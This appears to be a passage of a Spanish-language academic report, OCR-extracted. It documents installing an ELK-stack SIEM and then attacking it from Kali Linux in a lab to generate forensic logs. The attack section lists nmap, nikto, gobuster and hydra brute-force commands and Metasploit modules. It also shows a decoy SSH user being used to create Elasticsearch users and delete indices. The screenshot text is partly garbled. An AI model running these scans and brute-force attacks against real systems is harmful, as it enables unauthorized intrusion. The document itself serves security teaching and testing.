Kibana, verificamos el estado del firewall para darle asignarle y darle permisos al puerto

5601.

Figura 71

Verificacion del estado del firewall para Kibana

Agregamos el puerto 5601 en las IP-TABLES

Figura 72

Inclusioén del puerto 5601 en IP-TABLES

rootall:~# sudo ufw allow 5681/tcp

Rule added
Rule added (v&)

verificamos nuevamente el estado del firewall
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Figura 73

Nueva verificacion de firewall para Kibana

Hacemos que el puerto sea permanente y comprobamos que este a la escucha

Figura 74

Configuracion del puerto 5601 como permanente

Para acceder a Kibana desde el navegador web, colocamos la siguiente URL.

https://192.168.100.71:5601

Figura 75

Acceso a Kibana en el navegador web

Welcome to Elastic

- mim

Start by adding integrations
Aol ata 1o F AT TUusTer from Sy SOo0uUrce then analyza anc
wisuallze it .||?lvE.'JI'||-|_= Use owur sobuthons o eadd search


https://192.168.100.71:5601/

44
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Ademas, se puede tener una vision general de su estado y servicios disponibles

visitando la siguiente URL. http://192.168.100.71:5601/status

Figura 76

Verificacion de estado y servicios disponibles de Kibana en el navegador web

Kibana status is s

COMMIT: dbZ3Id2cSTOcbeadTicc72e8afOeIIofdalfBetilts

VERSIOHN: 8183 BLUILD: BSE873

4O07.37 MB 3.80 .06

Hirap rsed out of LE4 GE REquEsls (per Secon izt [active: 31 1
AG86.2

207, 2.21,.1.59 41.294 ms 24.79 ms

Lot Dralay awg (=3 Tt & 1

S50 10.850 ms; B85 1L.968 ms; 985 15.36
T Sl 1S5 ms 116.00 ms
Load tntervsl Parcontie: Respornse t van

Instalar Logstash

El siguiente componente para instalar sera Logstash, esta canalizacién procesa y
envia datos a Elasticsearch para su indexacion y almacenamiento, para instalar Logstash,

ejecutamos el siguiente comando: sudo apt install logstash -y

Figura 77

Instalacion de Logstash

ps actualmente. )
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Una vez instalado, inicializamos y habilitamos Logstash ejecutando los siguientes

comandos

sudo systemctl start logstash

sudo systemctl enable logstash

Figura 78

Habilitacién de Logstash

Comprobamos el estado del almacenamiento de registros, ejecutando el comando:

sudo systemctl status logstash

Figura 79

Verificacion de estado de Logstash

Configurar Logstash

Como se menciond anteriormente, Logstash es una canalizacion que analiza y

procesa datos y los envia al destino deseado, en este caso, Elasticsearch.
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Una canalizacién consta de dos elementos obligatorios: entrada y salida. El
elemento de filtro es opcional. El complemento de entrada toma o ingiere datos del origen.
Los filtros son complementos intermediarios que procesan los datos mientras el

complemento de salida los envia y escribe en un destino.

A continuacion, creamos un archivo de configuracion llamado 02-beats-input.conf.

Aqui configuramos la entrada de Filebeat:

sudo nano /etc/logstash/conf.d/02-beats-input.conf

Agregamos las siguientes lineas de codigo:

input {
beats {

port => 5044

Figura 80

Configuracion del puerto de Logstash

File Actions Edit View Help

GNU nano 7.2 fetc/logstash/conf.d/92-beats-input.conf

A continuacion, creamos un archivo de configuracion llamado 30-elasticsearch-

output.conf:
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sudo nano /etc/logstash/conf.d/30-elasticsearch-output.conf

La salida configura Logstash para almacenar los datos de Beats en Elasticsearch,

ejecutandose en localhost:9200.

Usamos Beats como indice, filebeat sera compatible con Beats.

output {
if [@metadata] [pipeline] {
elasticsearch {
hosts => ["https://localhost:9200"]
user => "elastic"
password => "elkstackG7"
ssl enabled => true
ssl certificate authorities =>
["/etc/logstash/certs/http ca.crt"]
manage template => false
index => "%{[@metadata] [beat]}-%{[@metadata] [version]}-
S{+YYYY.MM.dd}"
pipeline => "% {[@metadatal] [pipeline]}"
}
} else {
elasticsearch {
hosts => ["https://localhost:9200"]
user => "elastic"
password => "elkstackG7"
ssl _enabled => true
ssl certificate authorities =>
["/etc/logstash/certs/http ca.crt"]

manage template => false
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index => "%{[@metadata] [beat]}-%{[@metadata] [version] }-

S{+YYYY.MM.dd}"

}

Figura 81

Configuraciones adicionales de Logstash

Edit View Melp

/etc/logstash/conf.d/3@-elasticsearch-output.conf

*Jetc/\
ate
+YYYY .MM dd}*"

boX{+YYYY.MM.dd}"

Guardamos y salimos, para probar la configuracion de Logstash, ejecutamos el

comando:

sudo -u logstash /usr/share/logstash/bin/logstash --path.settings

/etc/logstash -t

En primera instancia nos da error en la configuracién ya que no encuentra la llave,
para ello creamos un nuevo repositorio, copiamos las claves a este repositorio, eliminamos

las claves anteriores, damos permisos de lectura y lo volvemos a ejecutar.
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Figura 82

Verificacion inicial de error en Logstash

configured via 1
] Logé) conf

tash {"

U

] Using config.test_and exit mode. Con

La salida consta de un bloque de lineas de cédigo con la cadena Resultado de
validacion de configuracion: OK, Para que los cambios surtan efecto, debemos reiniciar

logstash con el comando: sudo systemctl restart logstash

Figura 83

Reiniciado del servicio de Logstash

rootal:~# sudo systemctl restart logstash

Instalar y configurar Filebeat

El ultimo componente para instalar es Filebeat, este es un gestor de envios ligero
gue reenvia datos de registro centralizados a Elasticsearch o Logstash, segun su

configuracion.

Para instalar Filebeat, ejecutamos el comando: sudo apt install filebeat -y
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Figura 84

Instalacion de Filebeat

/ 2 no actualizados.

T amd&4 B.19.7 [67,1 MB]

Lados actualmen

A continuacion, configuraremos Filebeat para enviar datos a Logstash, accedemos al

archivo de configuracion de Filebeat: sudo nano /etc/filebeat/filebeat.yml

Configuraremos Filebeat para que envie los datos directamente a Logstash para su
procesamiento en lugar de Elasticsearch. Por lo tanto, deshabilitaremos la salida de
Elasticsearch, para ello, localizamos la seccién output.elasticsearch y comentamos las

siguientes lineas:

Figura 85

Configuracion de Filebeat para envio de datos a Logstash

A continuacion, configuraremos Filebeat para conectarse a Logstash en el servidor

Elastic Stack en el puerto 5044, descomentamos las lineas output.logstash: y hosts:

[Wlocalhost:5044"].
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Figura 86

Configuracion de Filebeat para conexion a Logstash

Una vez hecho esto, guardamos los cambios y salimos.

Los moédulos de Filebeat amplian la funcionalidad de Filbeat. Aqui, habilitaremos el
modulo del sistema que recopila y analiza los registros generados por el servicio de registro

del sistema, para obtener una lista de todos los modulos disponibles, ejecute el comando:

sudo filebeat modules list

Figura 87

Verificacion de modulos activos e inactivos en Filebeat

rootog)l:~# sudo filebeat modules Llist
Enabled:

Disabled:

activemq

apache

auditd

aws

awsfargate

azure

cef

checkpoint

isco
oredns
rowdstrike
yberark

ibmmq
icinga
iis
iptables
juniper
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Para habilitar el médulo del sistema, ejecutamos el comando:

sudo filebeat modules enable system

Figura 88

Habilitacion de mdédulo de sistema en Filebeat

rootal:~# sudo filebeat modules enable system

Enabled system

A continuacion, se debe de configurar las canalizaciones de ingesta de Filebeat.

Estas canalizaciones analizan los datos de registro antes de pasarlos a través de

Logstash a Elasticsearch.

Ejecutamos el siguiente comando para cargar la canalizacion de ingesta del modulo

del sistema:

sudo filebeat setup --pipelines --modules system

Figura 89
Configuracion de canalizacion de ingesta en Filebeat

roota)l:~# sudo filebeat setup —-pipelines --modules system

Exiting: module system is configured but has no enabled filesets

A continuacion, se debe de cargar la plantilla de indice en Elasticsearch. Un indice
es simplemente un conjunto de documentos con caracteristicas similares. Para cargar la

plantilla, ejecutamos el siguiente comando:

sudo filebeat setup --index-management \
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-E output.logstash.enabled=false \
-E output.elasticsearch.hosts=["http://localhost:9200"] \
-E output.elasticsearch.username=elastic \

-E output.elasticsearch.password="elkstackG7"

Figura 90

Configuracion de plantilla de indice en Elasticsearch

setup index-management

output., L
output.els
output.elasticsearch.u
output.el: csearch.p

iting 11 cle policy is disabled. Set rite: "ue to overwrite.

Filebeat proporciona paneles de Kibana de ejemplo de forma predeterminada para

visualizar datos de Filebeat en Kibana.

Por lo tanto, antes de usar los paneles, es fundamental crear el patron de indice y

cargarlos en Kibana.

Para ello, ejecutamos el comando:

sudo filebeat setup \
-E output.logstash.enabled=false \
-E output.elasticsearch.hosts=["http://localhost:9200"] \
-E output.elasticsearch.username=elastic\
-E output.elasticsearch.password="elkstackG7" \

-E setup.kibana.host="http://localhost:5601"
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Figura 91

Creacion del patrén de indice y carga en Kibana

E output.lc p
-E output st1cs sts=["http://localhost:9200" ]
B e=elastic
g rd="elkstac
setup.kibana.host=' ://localh

writing 1 C # policy is disabled. Set "setup.ilm.over
tup fini
3 dashboards (Kibana must be running and reachable)
dashboards
Ingest pipelines

Inicializamos y habilitamos Filebeat.

sudo systemctl start filebeat

sudo systemctl enable filebeat

Figura 92

Habilitacidon del servicio Filebeat

54

Comparamos su estado sudo systemctl status filebeat

Figura 93

Verificacion de estado del servicio Filebeat

stemctl status filebeat
\Ce Filebeat
paded (/

(Re

lebea vice: S ) restart

filebeat. "y e: Failed with result

job, restart counter

]: filebeat. v : Start request repeated too gquickly.

‘exit-code’.

OVEeTrwrlite.
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Nos da error ya que no tenemos habilitado el médulo de system

Editamos el médulo /etc/filebeat/modules.d/system.yml Yy colocamos

enabled: True

Figura 94

Habilitacién de mdodulo system.yml

GNU nano 7.2 /etc/filebeat/modules.d/system.yml

Realizamos un test de configuracion: sudo filebeat test config

Figura 95

Test de configuracion de Filebeat

rootal:~# sudo filebeat test config

Config OK

Verificamos la configuraciéon: sudo filebeat setup
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Figura 96

Verificacion de configuracion en Filebeat Setup

rootal:~# sudo filebeat setup

Exiting: index management requested but the Elasticsearch output is not

configured/enabled

Reiniciamos el servicio: sudo systemctl restart filebeat

Figura 97
Reinicio del servicio de Filebeat
elkgelk:~% systemctl re%téft filebeat
Authentication is required to restart 'filebeat.service’.

Authenticating as: Blacio Velasco (elk)
Password:

Comparamos nuevamente su estado: sudo systemctl status filebeat

Figura 98

Comprobacion nueva del servicio de Filebeat luego de su reinicio

rootal:~# sudo systemctl restart filebeat
root@l:~# sudo systemctl status filebeat
o filebeat.service - Filebeat sends log files to Logstash or directly to Elasticsearch.
Loaded: loaded (/usr/1i temd/system/filebeat.service; enabled; preset: enabled)
Active: active (running) since Fri 2025-08-29 20:38:19 UTC; 19s ago
Docs: https://ww.elastic.co/beats/filebeat

Main PID: 655648 (fi
fasks: 9 (limit: 4548)
Memory: 70.4M (peak: 70.9M)
CPU: 303ms

CGroup: /system.slice/filebeat.service
ki

Con esto se comprueba que hemos configurado Filebeat correctamente y deberia

enviar los datos de registro a Logstash para su procesamiento y, finalmente, a Elasticsearch

para su indexacion.
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Figura 99

Comprobacion en navegador web de funcionamiento de Filebeat

& elastic

Welcome home

»

e

Elasticsearch Observability Security Analytics

Create seaich Cansolidate your logs, Frevani, collect Expiore, visualre, and

ecpariences with @ T anabyze your data
rafinad sat of APls t

and tooks

%, applicatsdd
nd sysfam

WEang 8 povwariul

of snalytical t
appications

ty with
Purpose-buill Liks,

Configuracion de KIBANA

Para configurar nuestro SIEM y que comience a monitorizar la red y los diferentes
eventos es necesario configurar un usuario el cual nos va a permitir realizar las auditorias
dentro del SIEM para ello ingresamos al navegador dentro del equipo de KALI y colocamos
la direccion IP del servidor de ELKSTACK (192.168.100.103:9200), no va a pedir el usuario

y la contrasefia que ya fueron configurados con anterioridad.
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Figura 100
Ventana de ingreso de credenciales en el SIEM

= Restore Session s +

Q, 192.168.100.103

Kall Unux @ Kall Tools = Kali Docs Exploit-DB

B 192.168.100,103:9200

This site ks asking you to sign in

Cancel

Le damos clic en SIGN IN y nos carga la pagina principal del SIEM con sus

configuraciones iniciales.

Figura 101

Pagina principal del SIEM con configuraciones iniciales

C o O [ 192.168.100.103:92

Kali Linux & Kali Tools =+ Kali Docs Exploit-DB

De la misma manera ingresamos a KIBANA (192.168.100.103:5601)
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Figura 102

Ingreso desde el navegador web en Kibana

>

Welcome to Elastic

Damos clic en LOG IN y ya podemos ingresar a la pagina de configuraciones del

SIEM, y escogemos la opcién Management-Fleet

Figura 103

Pagina de configuraciones del SIEM

= . Fleat Agents

1 Home

{5F Management Lo
astic Ac

Dev Tools Iment to

59

Aqui vamos a configurar nuestro usuario (AGENTE) de manera predeterminada, le

damos clic en Add Agent
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Figura 104

Boton Add Agent en configuracion del SIEM

® Add Agent

Vamos a crear nuestro Agente llamado Agent-G7-Policial le dejemos por defecto

Figura 105
Creacién del agente Agent-G7-Policial

Fleet

Agents  Agent policies  Enrollment tokens  Uninstall ickens  Data streams  Setlings

LY Raload & Create agont palicy

Last updaned on ] Ungpriwiagi | Privilegad Inlisgrations Astions

Al momento de crear nuestro agente KIBANA nos da un log con las configuraciones
respectivas las mismas que deben de ser cargadas en el archivo de configuracion de

KIBANA

El archivo de configuracion lo podemos encontrar en:

http://192.168.100.71:5601/app/integrations/detail/system-

2.5.4/configs

Una vez creado y configurado nuestro Agente ya comienza a monitorear la RED
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Figura 106

Monitoreo de red en el SIEM
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El SIEM comienza a crear los primeros logs, para el Analisis forense procedemos a
realizar diversos tipos de ataques al SIEM para poder crear registros de posibles intrusos

que intentan acceder a él y también vamos a generar logs con ruido interno.

Figura 107

Primeros logs en el SIEM
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En los equipos de Windows10 y de Ubuntu procedemos a instalar las aplicaciones
para la recoleccion de logs, red, etc y posteriormente estos seran enviados al SIEM para su

analisis, en el equipo de Ubuntu que es la victima se instalan:
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Filebeat - logs del sistema (auth, sudo, syslog)

Auditd (auditbeat) - actividad de seguridad (sudo, comandos,
procesos)

Packetbeat — tradfico de red (lo que pasa EN y ENTRE equipos)

Osquery (inventario / cambios en sistema)

En la maquina Windows 10 victima se Instala:

Winlogbeat - logs de seguridad (logon, hacking attempts)
Packetbeat — andlisis de tréfico
Osquery (inventario / cambios en sistema)

Filebeat - logs del sistema (auth, sudo, syslog)

CONFIGURACION PARA UBUNTU VICTIMA

Filebeat en Ubuntu

Editamos el archivo de configuracion:

sudo nano /etc/filebeat/filebeat.yml

Activamos los médulos:

filebeat modules enable system
filebeat modules enable auditd

filebeat modules enable apache?2

Salida DIRECTO a Elasticsearch:
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output.elasticsearch:

hosts: ["http://192.168.100.71:9200"]
Reiniciamos:
sudo systemctl enable --now filebeat

Packetbeat en Ubuntu

Editamos el archivo de configuracion:

sudo nano /etc/packetbeat/packetbeat.yml

Descomentamos todas las interfaces:

packetbeat.interfaces.device: any

Salida:

output.elasticsearch:

hosts: ["http://192.168.100.71:9200"]

Reiniciamos:

sudo systemctl enable --now packetbeat

Auditbeat en Ubuntu

auditbeat modules enable auditd

Salida:

output.elasticsearch:

63
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hosts: ["http:// 192.168.100.71:9200"]

Reiniciamos:

sudo systemctl enable --now auditbeat

CONFIGURACION PARA WINDOWS 10 VICTIMA

Instalamos Winlogbeat

Habilitamos el archivo de configuracion en winlogbeat.yml:

output.elasticsearch:

hosts: ["http://192.168.100.71:9200"]

Activar logs:
winlogbeat.event logs:
- name: Security

- name: System

- name: Application

Instalamos como servicio:

winlogbeat.exe install

Start-Service winlogbeat

Packetbeat en Windows es opcional pero util

64
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Realizamos los mismos pasos para elasticsearch:

output.elasticsearch:

hosts: ["http://192.168.100.71:9200"]

Para poder receptar los logs en el SIEM se tuvo que redimensionar el disco en
especial el / ya que nos quedamos sin espacio por las actualizaciones de seguridad que son
necesarias instalarlas, hay que tomar en cuenta que el SIEM genera logs e indices
innecesarios lo que causa que el disco se llene conforme se va trabajando en él, para ello

se ejecutaron los siguientes comandos:

sudo lvextend -1 +100%FREE /dev/mapper/ubuntu--vg-ubuntu--1v

sudo resize2fs /dev/mapper/ubuntu--vg-ubuntu--1v

\

df -h / .. /dev/mapper/ubuntu--vg-ubuntu--1v 48G 43G 100G 96% /

con este nuevo espacio en disco ya podemos instalar y configurar el agente

Ataque a la Infraestructura del SIEM

Preparamos el laboratorio con KALI-LINUX donde vamos a instalar HYDRA, el
mismo que nos va a permitir realizar ataques de denegacion de servicios, ruidos y vamos a
crear un usuario falso dentro del servidor de UBUNTU, para luego a ese mismo usuario
suponiendo que sabemos el usuario y la contrasefa de KIBANA le vamos a agregar al SIEM

para realizar ataques internos.

Para estos ataques y sobre todo para tener evidencias en el SIEM utilizamos los
siguientes comandos y payloads. ($TARGET se le configura con las ips de cada equipo a

ser atacado 192.168.100.71/73/74/103, etc)

sudo nmap -A $TARGET -oN nmap A full.txt
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curl -I http:// STARGET /

nikto -host http:// $TARGET -port 80 -ask no

gobuster dir -u http:// STARGET -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40

nmap --script ssl-enum-ciphers -p 443 STARGET

nmap -sV -sC -Pn $STARGET -oA nmap scripts

nmap -p 8008,8080,8443 --script vuln S$TARGET

hydra -L users.txt -P passwords.txt http-get:// STARGET:8080/wp-
login.php

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -t 4 -f
STARGET mysgl -s 3306 -V

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -t 4 -f
STARGET mysgl -s 3306 -V

nmap -p 22 —--script ssh-brute --script-args
userdb=/usr/share/nmap/nselib/data/usernames.lst, passdb=/usr/share/nmap/nse

lib/data/passwords.lst S$TARGET

Metasploit Framework
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Figura 108

Comandos de Metasploit Framework

f » use exploit/unix/ftp/vsftpd 234 b

configured, defaulting to omd/unix/interact

] 2
] > set RHOST 192.
108.30
¥ » set PAYLOAD limuwm
for PAYLDAD is not lid.
1 > 1inta

et RHOSTS

Metasploit Framework para smb en Windows

Figura 109

Metasploit Framework para smb en Windows

sfangedMode option if you

192.168.180.30

67
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Creando usuario sefiuelo en SSH

sudo adduser atacanteg7 --gecos "Atacanteg7, , , "

Figura 110

Creacion de usuario sefiuelo en SSH

=

elkal:-§ sudo adduser atacanteg? --gecos “Atacanteg?, , ,
info: Adding user "atacanteg?' ...

info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group “atacanteg?' (1ee1) ...

info: Adding new user "atacanteg7’' (1001) with group "atacanteg7 (1@e1)’
info: Creating home directory " /home/atacanteg?' ..

info: Copying files from " /etc/skel'
New password:

Retype new password:

passwd: password updated successfully

info: Adding new user "atacanteg7’' to supplemental / extra groups "users'

info: Adding user "atacanteg?' to group users’

Asegura autenticacién por contrasefia en SSH

sudo sed -i 's/"#\?PasswordAuthentication.*/PasswordAuthentication

yes/' /etc/ssh/sshd config

sudo systemctl restart ssh

Figura 111

Reinicio del servicio SSH luego de crear el usuario sefiuelo

a1:-% sudo sed -1 ‘s/*#\?PasswordAuthentication.~/Passwordauthentication yes/"'

fetc/ssh/sshd_config

68

i:-% sudo systemctl restart ssh

Reconocimiento desde Kali

Lanzamos netdiscover para descubrir las redes que tenemos

sudo netdiscover
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Figura 112

Reconocimiento desde Kali con netdiscover

Lanzamos nmap para descubrir las redes que tenemos manera mas agresiva

nmap -sn -PE -PS -PA -PU -PR \
10.0.0.0/8 \
172.16.0.0/12 \

192.168.0.0/16 \ 192.168.10.0/24 \ 192.168.100.0/24

Las redes que nos interesan son 192.168.100.74, 192.168.100.73, 192.168.100.71

las cuales vamos a realizar los ataques

Guardamos la IP del servidor ELK (192.168.100.74) realizamos este paso por cada

red:

sudo TARGET=192.168.100.71 / sudo TARGET=192.168.100.73 / sudo

TARGET=192.168.100.74

Escaneamos los puertos + version (ruido moderado)
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nmap -sS -sV -O -T4 S$TARGET -oA nmap basico

Figura 113

Escaneo de puertos y version con ruido moderado

GET»192.168.100.103
h | K| -k | ~¥
[-askans] [-g group] [-h hos
aBkans) [-g group] [-h b
| [comnand [arg ..
[-ABBEHKNOPS] [~r role] [<t type] [-C num] [-0 directory]
[ host] [-p prompt] [-R directory] [-T timeout]
=value] [-1 | ] [command [arg ...])
[~r role] [t type] [~C nu -b directory]
st] [«p proopt] [-R directory] [-T timec

! sudo
do
sudo

] [+p prompt] [-u
t} [-p prompt] [-U

ge: sudo

STARGET
Starting Neap 7.95 ( https://nmap.org ) at 2
Nmap scan report for 192,.108.100,163
Host is up (0.00033s latency).
Mot shown: 995 filtered tep ports (no-response)
STATE SERYICE VERSION
open  ssh OpenSSH 9
open  hitp nginx 1
4444/tcp closed krbsas
p closed http-proxy

http

129:6

nmap_basico

P25-09-05 15:53 -85

p1 Ubuntu 3ubuntull,13 (
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4:04:81 (VMware)
0~ 5,14 (58%), Mk
.6.39 (93X), Openwrt
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Tik RouterOs
(Linux 5.

1nux
5), Openlrt

N exact 05 matches for host (test conditions non-ideal),
Network Distance: 1 hop
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2
22.

97%),

7 3,13 (9
L

(91%), Linux

Linux 4
nux 5.10)

(
(

i)
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Escaneo mas profundo de servicios abiertos detectados

nmap -sV -sC -Pn STARGET -oA nmap scripts
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Figura 114
Escaneo profundo de servicios abiertos detectados

$TARGET -0A nmap_scripts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-05 15:55 -05
Nmap scan report for 192.168.100,103
Host is up (0.00022s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open  ssh OpenSSH 9.6p1 Ubuntu 3ubuntui3.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 le:4d:bf:b1:40:60:9c:80:1c:57:32:58:f2:21:31:36 (ECDSA)
|_ 256 cc:el:ba:chibhbel:feicf:a7:50:e2:51:29:dd:c7:dc (ED25519)
BO/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Site doesn’'t have a title (text/html).
| _http-server-header: nginx/1.24.0 (Ubuntu)
4444 /tcp closed krb524
B080/tcp closed http-proxy
9200/tcp open  http Elasticsearch REST API 7.0 or later (Shield plugin; realm: security)
| http-methods:
|_ Potentially risky methods: DELETE
|_http-title: Site doesn't have a title (application/json).
| http-auth:
| HTTP/1.1 401 Unauthorized\xeD
| Basic realm=security charset=UTF-8
|_ ApiKey
MAC Address: 00:0C:29:64:64:81 (VMware)
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.09 seconds

Informacion general

Host: 192.168.100.71

Sistema operativo: Linux (Ubuntu 24.04 con kernel 6.8.x, detectado por fingerprint de

servicios).

Fabricante NIC: VMware — la maquina esta virtualizada.

Puertos y servicios encontrados

22/tcp - SSH (abierto)

Servicio: OpenSSH 9.6p1 (Ubuntu) / Permite acceso remoto seguro por consola.
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Fingerprints de hostkey (ECDSA y ED25519) identificados.

80/tcp —» HTTP (abierto)

Servicio: Nginx 1.24.0 (Ubuntu).

Pagina web sin titulo (probablemente un sitio por defecto o servicio basico).

4444 /tcp - Cerrado (krb524)

Puerto accesible pero cerrado.

8080/tcp — Cerrado (http-proxy)

También detectado como cerrado.

9200/tcp — HTTP (abierto)

Servicio: Elasticsearch 7.x o superior con Shield plugin (seguridad habilitada).

Autenticacion: Basic realm=security + soporte para ApiKey.

Métodos HTTP disponibles incluyen DELETE (riesgo si no esta bien protegido).

Fuerza bruta controlada a SSH (para poblar auth.log)

72
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Figura 115

Ingreso de palabras en wordlist.txt

L-$ sudo cat wordlist, txt "EOF’
123456
password

querty
123456

letmein
EOF

sudo cat > wordlist.txt <<'EOF’
123456

Password

Qwuery

12345567

Letmein

Elk

Siem

elkstackG7

EOF

Lanzamos HYDRA con baja concurrencia:

hydra -1 atacanteg7 -P wordlist.txt -t 4 -f ssh://$TARGET
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Figura 116
Lanzamiento de HYDRA con baja concurrencia

~

atacanteg? <P wordUist,txt -t 4 -f sshi//STARGET
Hydra v9.5 (¢) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes
(this is non-binding, these +x+ ignore laws and ethics anyway).

Hydra (https://github,com/vanhauser-the/the-hydra) starting at 2025-09-05 16:04:52

[DATA] max & tasks per 1 server, overall 4 tasks, 5 login tries (1:1/p:5), ~2 tries per task
[DATA] attacking sshi//192.168,100,103:22/

[22)(ssh] host: 192.1 103 login: atacanteg? password: 123456

[STATUS] attack finished for 192,168.100.103 (valid pair found)

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-the/thc-hydra) finished at 2025-09-05 16:04:53

Resumen

El ataque de fuerza bruta con Hydra contra el servicio SSH (22) en 192.168.100.71
permitié descubrir credenciales validas: usuario atacanteg7 con contrasefia 123456,
evidenciando una configuracion insegura con contrasefias débiles (usuario creado

anteriormente).

Realizamos otros tipos de ataques desde KALI

Barridos 404/403 y user-agents tipicos

curl -I http://$TARGET/
for p in /admin /login /phpmyadmin /wp-admin /uploads /vendor
/backup.tar.gz; do curl -s -o /dev/null -w "${http code} S$p\n"

http://$STARGETSp; done


http://$target/
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Figura 117

Barridos 404/403

http://STARGET/
p in fadmin /legin /phpayadmin /wp-admin Juploads /vendor /fbackup.tar.gz Jdev/null 17 http://STARGETSp

NTTP/1.1 200 OK
Server: 1.24.0 (Ubuntu)

Date: Fri, @ 2025 21:12:49 GNT
Content-Type

Content-Length

Last-Modified: Mon, @1 Sep 2025 10:46:24 GMNT
Comnection: keep-aslive

ETag: "6805cden-20"

Accept-Ranges: bytes

404 Jadmin
/login
/phpeyadnin

backup. tar.gz

Resumen:

El analisis con curl sobre las redes 192.168.100.71/ 73/ 74/ XX confirma que el
servidor web (nginx 1.24.0 en Ubuntu) expone Unicamente el archivo estatico index.html,
mientras que rutas sensibles como /admin, /login o /phpmyadmin devuelven 404 Not Found,

indicando un entorno con contenido minimo y sin paneles administrativos accesibles.

Dirb/ffuf (NO destructivo)

sudo dirb http://S$STARGET/ /usr/share/wordlists/dirb/common.txt -r

Figura 118

Configuracion de Dirb/ffuf

http: //STARGET/ /usr/share/wordlists/dirb/common.txt

DIRB v2.22
By The bark Raver

START_TIME: Fri Sep 5 16:14:33 2025

URL_BASE: http://192.168.100.103/

WORDLIST_FILES: fusr/share/wordlists/dirb/common.txt
OPTION: Not Recursive

GENERATED WORDS: 4612
——== Scanning URL: http://192.168.100.103/ -—--
+ http://192.168.100.1083/index.html (CODE:200[SIZE:32)

END_TIME: Fri Sep S 16:14:36 2025
DOWNLOADED: 4612 - FOUND: 1
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Resumen:

El escaneo de directorios web con Dirb sobre el host 192.168.100.103 detectd
unicamente la pagina /index.html (cédigo 200, tamano 32B), lo que indica un servidor web

con contenido minimo o en configuracion por defecto.

Creamos un usuario en el SIEM

sudo curl -u atacanteg7:123456 -X POST
"http://192.168.100.71:9200/ security/user/nuevo_usuario" -H "Content-Type:

application/json" -d '/{

"password" : "ContrasefiaSegural23!",
"roles" : [ "kibana user" ],
"full name" : "Nuevo Usuario Kibana",
"email" : "nuevo@dominio.com"

p

Figura 119

Creacioén de nuevo usuario en SIEM

atacanteg7 1 1204%

"wharname”  “atacanteg?”,
“roles”
*superuser”

l

“full_name* : “Usuario de Prueba®,

Verificamos que el usuario se cred correctamente en KIBANA
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Figura 120

Verificacion de creacion de nuevo usuario en Kibana

= . ik WaNagamniT

Maching Learning

Mantanance Windaws L Wi Fiill Nasmss Essuall Addtiais skt Status
Security @ piT_syabem Bpm_aystarn m
Usera stacanteg? Usuaio de Prusba SUpenEe
Rales
beats_system beats_system
AP hays ¥ | Aosarvaa |
elastic superuses | tivarvnd |
Kibana [T}
Uala Views iibana kibana_system
Fligs Deprecatet
Savad Dbjects ibana_syalem kibarin_system | Ausarved |
Tags
Zsarch Sesclons logrash_xysien) legstash_system m

Con el usuario creado y con los permisos de SUPERUSER podemos realizar

cualquier tipo de accién para ello vamos a empezar con:

Consultar todos los indices:

curl -u atacanteg7:123456 -X GET

http://192.168.100.103:9200/ cat/indices?v


http://192.168.100.103:9200/_cat/indices?v

Analisis Forense Digital de un SIEM no WAZUH 78

Figura 121

Consulta de indices en nuevo usuario

atacanteg’:1

health status index uuid pri rep docs.count docs.deleted store.s

1ze pri.store.size dataset.size
open filebeat-8,19.3-2025.09.21 EvQuNgaSack-13wbdnGag | o 5403732
1.4gb
open Jdntermal alerts<transform, health.ale default-20a00) GALSAtPITE2 1Mz bIGn_Q | o 0
2500 250k
open fllebeat-5.19.3-2025,09,.02 I e JO2CASXKZZUPRTBIDA 492152
142 . 6o
open Ms-Fllebeat-8.19.3-2025.08.29-000001 XIOHOEVFTLaeYXFCO2F shw ©
1500 250b
yellow open filebeat-8.19.3-2025,.09.04 h=-C7C2 tUQTOpDIKCSQXCow
43,700 3. 7mb
open internal.alerts-cbservability.logs.alerts-default-000001 d1ffdITWTZ21i FhUDbXCtBg
2500 250b
open filebeat-8. 3~2025.909.05 ILOXNTONTIWs FVQbUhs x6A
LD
internal.aler bservability uptine alerts-default-00000] IVALhDe TySyNTulwc IwyQ
2500
JAnternal.alerts-nl. anosaly-detection, alerts-default-008001 rJTNGPeuQIGe L pBInENGY)
1500 250b
Anternal. aler ervability . slo.alerts-def L-000001 RLTLANS _TWIVSFLTFCBuA
2500
inte al s-d » 214wt LoFSdas-gkvQlarxq
2500

Creamos un indice de prueba

curl -u atacanteg7:123456 -X PUT

http://192.168.100.103:9200/indice prueba

Figura 122
Creacién de indice de prueba

atacanteg7: 123456

[sudo] contrasena para kali:
{"acknowledged" :true, "shards_acknowledged" : false,"index":"indice_prueba"}

Borramos el indice de prueba

curl -u atacanteg7:123456 -X DELETE

"http://192.168.100.103:9200/indice prueba"
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Figura 123

Eliminado de indice de prueba

-

atacanteg?7:123456 -X DELETE "http://192

{"acknowledged"” : true}

Detenemos Kibana / Elasticsearch

ssh atacanteg7@192.168.100.103

Figura 124
Detencién de los servicios de Kibana y Elasticsearch

’_.~_
sh atacanteg7g192.168.100.103
atacanteg7g192.168.100.103's password:
elcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.8.0-79-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

System information as of vie @5 sep 2025 21:48:07 UTC

System load: 1.84

Usage of /: 84.7% of 23.45GB

Memory usage: 73%

Swap usage: 54%

Processes: 255

Users logged in: 1

IPv4 address for ens33: 192.168.100.103

IPv6 address for ens33: 2800:bf0:37c4:1038:20c:29ff:feb4:6481

Una vez dentro del servidor ejecutamos

sudo systemctl stop kibana

sudo systemctl stop elasticsearch


mailto:atacanteg7@192.168.100.
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sudo systemctl start elasticsearch

sudo systemctl start kibana

Figura 125

Reincio de servicio de Kibana

atacanteg7ml: ~-$ sudo systemctl stop kibana

[sudo] password for atacanteg7?:

atacanteg?7 is not in the sudoers file.
